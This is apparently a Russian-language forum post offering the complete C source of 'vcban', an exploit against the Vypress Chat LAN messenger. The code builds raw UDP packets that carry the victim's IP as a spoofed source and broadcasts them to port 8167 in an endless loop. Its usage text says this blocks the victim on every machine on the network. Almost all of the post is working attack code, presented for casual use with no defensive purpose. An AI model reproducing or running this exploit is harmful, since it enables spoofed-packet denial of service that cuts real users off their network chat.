Vypress chat
Как было сказано вайпрес чат не безопасен =).
Кароче что томить, вот эксплойт:
Кароче что томить, вот эксплойт:
//Vypress_exploit.c
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/in.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
//#include "headers.h"
#define LENHDRIP 20
#define LENHDRUDP 8
struct ip_header
{
unsigned char version;
unsigned char tos;
unsigned short int length;
unsigned short int id;
unsigned short int fragoff;
unsigned char ttl;
unsigned char protocol;
unsigned short int checksum;
unsigned long int src;
unsigned long int dest;
};
struct udp_header
{
unsigned short int sport;
unsigned short int dport;
unsigned short int length;
unsigned short int checksum;
};
#define VYPORT 8167
#define MSGLEN 21
int sock;
int yes=1;
struct sockaddr_in remote_addr;
unsigned char *msg;
unsigned char *packet;
struct ip_header *iph;
struct udp_header *udph;
unsigned long src,dst;
int lenpacket;
int timeout;
int conn()
{
iph=(struct ip_header*)packet;
udph=(struct udp_header*)(packet+LENHDRIP);
iph->version=0x45;
iph->length=htons(lenpacket);
iph->id=htons(VYPORT);
iph->ttl=0xff;
iph->protocol=IPPROTO_UDP;
iph->checksum=htons(0);
iph->src=src;
iph->dest=dst;
udph->sport=htons(VYPORT);
udph->dport=htons(VYPORT);
udph->length=htons(lenpacket-LENHDRIP);
udph->checksum=htons(0);
if ((sock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0){perror("socket");return(-
1);}
if ((setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&yes, sizeof(yes)))<0){perror("setsockopt IP_HDRINCL");return(-1);}
if ((setsockopt(sock, SOL_SOCKET, SO_BROADCAST,&yes,
sizeof(yes)))<0){perror("setsockopt BROADCAST");return(-1);}
bzero((char*)&remote_addr,sizeof(remote_addr));
remote_addr.sin_family=AF_INET;
remote_addr.sin_port=htons(VYPORT);
bcopy(&dst, &remote_addr.sin_addr, sizeof(struct in_addr));
return(0);
}
int send_()
{
if(sendto(sock,(char*)packet,lenpacket,0,(struct sockaddr*)&remote_addr,sizeof(struct sockaddr))==-1){perror("sendto failed");return(-1);}
return(0);
}
void usage()
{
printf("\nUSAGE: \tvcban\tvictim_ip\tdest_ip\ttimeout\n");
printf("EXAMPLE:\tvcban\t192.168.197.5\t192.168.197.255\n");
printf("Will block 192.168.197.5 on all machines with default timeout\n");
printf("\nVcban by beef. Have phun! beef7@yandex.ru\n");
printf("\nJabber Forever\n\n");
}
int main(int argc,char **argv)
{
printf("\nvcban started...\n");
if(argc<3){usage();return(0);}
if(argc==3){printf("Timeout sets to 4 seconds...\n");timeout=4;}
else{timeout=atoi(argv[3]);printf("Timeout sets to %d seconds...\n",timeout);}
lenpacket=LENHDRIP+LENHDRUDP+MSGLEN;
packet=malloc(lenpacket);
memset(packet, 0, lenpacket);
msg=packet+LENHDRIP+LENHDRUDP;
msg[0]='X';
srand(time(NULL));
int x;
for(x=1;x!=10;x++)msg[x]=0x30+rand()%10;
msg[10]='2';
strcpy((char*)msg+11,"#Main");
msg[16]='\0';
msg[17]='/';
msg[18]='\0';
msg[19]='!';
msg[20]='\0';
inet_aton(argv[1],&src);
inet_aton(argv[2],&dst);
if(conn()==-1)return(0);
while(1)
{
printf("SENDING POISON PACKET...");
if(send_()==-1)break;
printf("OK! SLEEPING...\n");
sleep(timeout);
}
close(sock);
return(0);
}
